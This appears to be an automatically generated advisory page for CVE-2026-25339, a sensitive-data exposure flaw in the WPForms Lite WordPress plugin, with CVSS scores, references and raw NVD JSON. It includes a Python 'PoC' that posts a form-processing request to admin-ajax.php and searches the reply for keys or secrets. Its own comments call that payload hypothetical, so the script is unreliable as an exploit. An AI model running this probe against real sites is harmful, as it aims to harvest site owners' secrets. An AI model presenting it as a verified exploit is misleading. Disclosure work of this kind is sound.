CVE-2026-25339

Description

Insertion of Sensitive Information Into Sent Data vulnerability in Syed Balkhi Contact Form by WPForms wpforms-lite allows Retrieve Embedded Sensitive Data.This issue affects Contact Form by WPForms: from n/a through <= 1.9.8.7.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Contact Form by WPForms <= 1.9.8.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Payload to trigger the vulnerability (Hypothetical)
payload = {
    "action": "wpforms_process_form",
    "form_id": "1"
}

try:
    # Send request to the target
    response = requests.post(target_url, data=payload)
    
    # Check if sensitive data is exposed in the response
    if response.status_code == 200:
        print("[+] Request successful.")
        print("[+] Response Content:")
        print(response.text)
        
        # Analyze response for potential sensitive keys (e.g., api_key, token)
        if "api_key" in response.text or "secret" in response.text:
            print("[!] Potential sensitive data found in response!")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25339
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25339
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25339/
[4] VulDB https://vuldb.com/cve/CVE-2026-25339
[5] https://patchstack.com/database/Wordpress/Plugin/wpforms-lite/vulnerability/wordpress-contact-form-by-wpforms-plugin-1-9-8-7-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25339", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:44.520", "lastModified": "2026-04-29T10:16:54.530", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Syed Balkhi Contact Form by WPForms wpforms-lite allows Retrieve Embedded Sensitive Data.This issue affects Contact Form by WPForms: from n/a through <= 1.9.8.7."}, {"lang": "es", "value": "Inserción de Información Sensible en Datos Enviados vulnerabilidad en Formulario de Contacto de Syed Balkhi de WPForms wpforms-lite permite Recuperar Datos Sensibles Incrustados. Este problema afecta a Formulario de Contacto de WPForms: desde n/d hasta <= 1.9.8.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpforms-lite/vulnerability/wordpress-contact-form-by-wpforms-plugin-1-9-8-7-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}